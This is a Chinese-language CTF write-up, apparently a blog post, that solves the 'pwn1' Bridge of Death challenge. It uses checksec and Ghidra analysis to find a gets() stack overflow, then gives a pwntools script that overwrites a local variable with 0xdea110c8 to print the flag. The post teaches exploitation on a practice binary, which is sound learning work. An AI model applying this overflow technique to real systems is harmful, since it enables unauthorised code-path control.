pwn学:从入门到入狱

level1

第一步,了解文件类型

└─$ file pwn1
pwn1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped

gef➤  checksec pwn1
[+] checksec for '/pwn1'
[*] .gef-2b72f5d0d9f0f218a91cd1ca5148e45923b950d5.py:L8764 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
Canary                        : ✘
NX                            : ✓
PIE                           : ✓
Fortify                       : ✘
RelRO                         : Full

我们可以看到这是一个编译时带有RELRO、NX和PIE三项缓解措施的32位二进制文件。当我们运行该二进制文件时,它提示我们输入并会根据输入打印一些文本:

└─$ ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
haha
I don't know that! Auuuuuuuugh!

我们在 Ghidra 中查看 main 函数,可以看到下面的内容:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(undefined param_1)

{
  int iVar1;
  char local_43 [43];
  int local_18;
  undefined4 local_14;
  undefined1 *local_10;
  
  local_10 = &param_1;
  setvbuf(stdout,(char *)0x2,0,0);
  local_14 = 2;
  local_18 = 0;
  puts(
      "Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other  side he see."
      );
  puts("What... is your name?");
  fgets(local_43,0x2b,stdin);
  iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n");
  if (iVar1 != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("What... is your quest?");
  fgets(local_43,0x2b,stdin);
  iVar1 = strcmp(local_43,"To seek the Holy Grail.\n");
  if (iVar1 != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("What... is my secret?");
  gets(local_43);
  if (local_18 == -0x215eef38) {
    print_flag();
  }
  else {
    puts("I don\'t know that! Auuuuuuuugh!");
  }
  return 0;
}

我们可以看到,它将用fgets扫描输入,然后用strcmp比较我们的输入。它这样做了两次。第一次它检查的是 ”Sir Lancelot of Camelot\n” 字符串,第二次它检查的是 “To seek the Holy Grail.\n” 字符串。如果我们没有通过第一次的检查,它就会打印出 ”I don/t know that! Auuuuuuuugh!” 然后退出。对于第二次检查,如果我们通过了,代码将调用以输入为参数的函数get。函数get将扫描数据,直到它得到一个换行符或一个EOF。因此,在纸面上,它能扫描到多少数据是没有限制的。由于它扫描到的数据是有限的,我们将能够溢出它并开始覆盖内存中的后续内容。

另外,看一下get调用周围的汇编代码,我们看到了一些有趣的东西,而反编译的代码并没有向我们展示:

000108aa e8 71 fc        CALL       <EXTERNAL>::gets                                 char * gets(char * __s)
                 ff ff
        000108af 83 c4 10        ADD        ESP,0x10
        000108b2 81 7d f0        CMP        dword ptr [EBP + local_18],0xdea110c8
                 c8 10 a1 de
        000108b9 75 07           JNZ        LAB_000108c2
        000108bb e8 3d fe        CALL       print_flag                                       undefined print_flag(void)
                 ff ff
        000108c0 eb 12           JMP        LAB_000108d4

所以我们可以看到,它将local_18的内容与0xdea110c8进行比较,如果相等(这意味着它是0),它就会调用print_flag函数。看一下print_flag的反编译代码,我们看到它打印了flag.txt的内容:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void print_flag(void)

{
  FILE *__fp;
  int iVar1;
  
  puts("Right. Off you go.");
  __fp = fopen("flag.txt","r");
  while( true ) {
    iVar1 = _IO_getc(__fp);
    if ((char)iVar1 == -1) break;
    putchar((int)(char)iVar1);
  }
  putchar(10);
  return;
}

因此,如果我们能使用gets调用将local_18的内容覆盖到0xdea110c8,我们就应该得到flag(如果你在本地运行这个程序,你需要有一份与二进制文件pwn1在同一目录下的flag.txt的副本)。因此,为了达到获取调用,我们将需要向程序发送字符串 ”Sir Lancelot of Camelot\n””To seek the Holy Grail.\n”。观察Ghidra中的堆栈布局(我们可以通过双击主函数的变量声明中的任何一个变量来查看),可以看到我们的输入开始和local_18之间的偏移:

**************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined4 __cdecl main(undefined1 param_1)
             undefined4        EAX:4          <RETURN>
             undefined1        Stack[0x4]:1   param_1                                 XREF[1]:     00010779(*)  
             undefined4        Stack[0x0]:4   local_res0                              XREF[1]:     00010780(R)  
             undefined1        Stack[-0x10]:1 local_10                                XREF[1]:     000108d9(*)  
             undefined4        Stack[-0x14]:4 local_14                                XREF[1]:     000107ad(W)  
             undefined4        Stack[-0x18]:4 local_18                                XREF[2]:     000107b4(W), 
                                                                                                   000108b2(R)  
             undefined1        Stack[-0x43]:1 local_43                                XREF[5]:     000107ed(*), 
                                                                                                   00010803(*), 
                                                                                                   0001084f(*), 
                                                                                                   00010865(*), 
                                                                                                   000108a6(*)  
                             main                                            XREF[5]:     Entry Point(*), 
                                                                                          _start:000105e6(*), 00010ab8, 
                                                                                          00010b4c(*), 00011ff8(*)  
        00010779 8d 4c 24 04     LEA        ECX=>param_1,[ESP + 0x4]

所以我们可以看到,输入开始于偏移量-0x43。我们看到local_18开始于偏移量-0x18。这就给了我们一个偏移量0x43-0x18=0x2b,在我们的输入开始和local_18之间。然后我们就可以溢出它(向一个区域写的数据比它能容纳的多,所以它溢出并开始覆盖内存中的后续内容),用0xdea110c8覆盖local_18。把这一切放在一起,我们可以得到以下的exp:

# Import pwntools
from pwn import *

# Establish the target process
target = process('./pwn1')

# Make the payload
payload = ""
payload += "0"*0x2b # Padding to `local_18`
payload += p32(0xdea110c8) # the value we will overwrite local_18 with, in little endian

# Send the strings to reach the gets call
target.sendline("Sir Lancelot of Camelot")
target.sendline("To seek the Holy Grail.")

# Send the payload
target.sendline(payload)

target.interactive()

运行该exp:

└─$ python2 pwn1.py
[+] Starting local process './pwn1': pid 1233
[*] Switching to interactive mode
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
What... is your quest?
What... is my secret?
Right. Off you go.
flag{g0ttem_b0yz}
[*] Got EOF while reading in interactive
$

结束战斗!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值